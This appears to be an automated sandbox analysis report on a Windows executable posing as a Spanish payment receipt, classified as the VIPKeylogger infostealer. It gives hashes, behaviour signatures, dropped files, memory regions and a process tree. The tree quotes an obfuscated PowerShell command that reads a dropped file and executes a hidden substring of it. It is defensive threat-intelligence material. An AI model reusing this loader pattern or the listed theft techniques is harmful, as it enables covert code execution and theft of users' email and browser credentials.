Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2024 08:34

General

  • Target

    JUSTIFICANTE PAGO FRAS NOVIEMBRE 2024.exe

  • Size

    580KB

  • MD5

    d344b966541bacdcd4e8df8487b8e5e9

  • SHA1

    1e3d2286ede527fe7662c4fba9f2534c3ee129ef

  • SHA256

    ebac7c8cd5045f76ed8f27f50eaa9c1734560bf4d9b398d81ab0ccd1c5af9e49

  • SHA512

    c38716e6196505b83d5111ad1916f3efd13a60084eb7c123552b6c0ee68e0ec93e6219e58818272653c4c6ef178c502a62cf6c9ae31b211924d0c8c96d4689c1

  • SSDEEP

    12288:1kuicZeIuXpkqtAb/N7sATEc+LKM4LK/mySMpQKz:NicgIDG04An+LKM4LjGnz

Malware Config

Extracted

Family

vipkeylogger

Credentials

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\JUSTIFICANTE PAGO FRAS NOVIEMBRE 2024.exe
    "C:\Users\Admin\AppData\Local\Temp\JUSTIFICANTE PAGO FRAS NOVIEMBRE 2024.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4272
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle minimized "$Studiepladsernes=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\Lysstraales\Genoversat\lirens\Scourged.Afl';$Viljekraftens=$Studiepladsernes.SubString(11694,3);.$Viljekraftens($Studiepladsernes)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4640
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:4356

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\Lysstraales\Genoversat\lirens\Canchas.Mou

    Filesize

    346KB

    MD5

    5d3d1c39210847fc1d4ae76b2272a8f4

    SHA1

    88b4f7bba955a4eabaffea4689806b8d409be5ee

    SHA256

    04588cf44f89229f0b94e58b3203909c53cfe076062c3bd1844268924c12d289

    SHA512

    497df70f2bdb5c64ac5ab5d06486e1241cf58a76c9c4d501682e5c659d73ddd9bac15c8be45cc5e39021cdcf98592efa1c2aa02e4d1ccc42ae5911d29aecc085

  • C:\Users\Admin\AppData\Local\Temp\Lysstraales\Genoversat\lirens\Scourged.Afl

    Filesize

    70KB

    MD5

    daed86cf08d9bb9cd6ecb4738054b4bf

    SHA1

    dccb735db3c40e005b405719a7e7fbffbabd4266

    SHA256

    b2b48b891fda2d469556c1b554de00c8d6259e04749961ed80376d1f1b2976f0

    SHA512

    f881ca1571ba0e4a770318865d176c1cb3ec1b842df11c12935617406c27abc308c24928ec3c0c1f3fb32c8947fd796e9c118ee04b3b279da36e3ecffd711c1c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i04yt44z.bw0.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4356-88-0x0000000022ED0000-0x0000000022EDA000-memory.dmp

    Filesize

    40KB

  • memory/4356-87-0x0000000022F20000-0x0000000022FB2000-memory.dmp

    Filesize

    584KB

  • memory/4356-85-0x0000000022DF0000-0x0000000022E40000-memory.dmp

    Filesize

    320KB

  • memory/4356-84-0x0000000023580000-0x0000000023742000-memory.dmp

    Filesize

    1.8MB

  • memory/4356-82-0x0000000022940000-0x00000000229DC000-memory.dmp

    Filesize

    624KB

  • memory/4356-81-0x0000000000A40000-0x0000000000A88000-memory.dmp

    Filesize

    288KB

  • memory/4356-80-0x0000000000A40000-0x0000000001C94000-memory.dmp

    Filesize

    18.3MB

  • memory/4640-45-0x0000000007050000-0x000000000705A000-memory.dmp

    Filesize

    40KB

  • memory/4640-53-0x0000000007840000-0x0000000007864000-memory.dmp

    Filesize

    144KB

  • memory/4640-25-0x0000000006B80000-0x0000000006C16000-memory.dmp

    Filesize

    600KB

  • memory/4640-27-0x0000000006030000-0x0000000006052000-memory.dmp

    Filesize

    136KB

  • memory/4640-26-0x0000000005FB0000-0x0000000005FCA000-memory.dmp

    Filesize

    104KB

  • memory/4640-28-0x00000000071D0000-0x0000000007774000-memory.dmp

    Filesize

    5.6MB

  • memory/4640-23-0x0000000005AE0000-0x0000000005AFE000-memory.dmp

    Filesize

    120KB

  • memory/4640-30-0x0000000007E00000-0x000000000847A000-memory.dmp

    Filesize

    6.5MB

  • memory/4640-31-0x0000000006EE0000-0x0000000006F12000-memory.dmp

    Filesize

    200KB

  • memory/4640-38-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4640-43-0x0000000006EC0000-0x0000000006EDE000-memory.dmp

    Filesize

    120KB

  • memory/4640-32-0x00000000700B0000-0x00000000700FC000-memory.dmp

    Filesize

    304KB

  • memory/4640-44-0x0000000006F30000-0x0000000006FD3000-memory.dmp

    Filesize

    652KB

  • memory/4640-46-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4640-5-0x0000000073C2E000-0x0000000073C2F000-memory.dmp

    Filesize

    4KB

  • memory/4640-47-0x00000000071B0000-0x00000000071C1000-memory.dmp

    Filesize

    68KB

  • memory/4640-48-0x00000000077B0000-0x00000000077BE000-memory.dmp

    Filesize

    56KB

  • memory/4640-49-0x00000000077C0000-0x00000000077D4000-memory.dmp

    Filesize

    80KB

  • memory/4640-50-0x0000000007800000-0x000000000781A000-memory.dmp

    Filesize

    104KB

  • memory/4640-51-0x00000000077F0000-0x00000000077F8000-memory.dmp

    Filesize

    32KB

  • memory/4640-52-0x0000000007810000-0x000000000783A000-memory.dmp

    Filesize

    168KB

  • memory/4640-24-0x0000000005B00000-0x0000000005B4C000-memory.dmp

    Filesize

    304KB

  • memory/4640-54-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4640-56-0x0000000073C2E000-0x0000000073C2F000-memory.dmp

    Filesize

    4KB

  • memory/4640-57-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4640-58-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4640-18-0x00000000054C0000-0x0000000005814000-memory.dmp

    Filesize

    3.3MB

  • memory/4640-60-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4640-61-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4640-63-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4640-62-0x0000000008480000-0x000000000B5A9000-memory.dmp

    Filesize

    49.2MB

  • memory/4640-64-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4640-66-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4640-67-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4640-12-0x0000000005450000-0x00000000054B6000-memory.dmp

    Filesize

    408KB

  • memory/4640-11-0x00000000053E0000-0x0000000005446000-memory.dmp

    Filesize

    408KB

  • memory/4640-10-0x0000000004B10000-0x0000000004B32000-memory.dmp

    Filesize

    136KB

  • memory/4640-9-0x0000000004B80000-0x00000000051A8000-memory.dmp

    Filesize

    6.2MB

  • memory/4640-8-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4640-7-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4640-6-0x0000000004500000-0x0000000004536000-memory.dmp

    Filesize

    216KB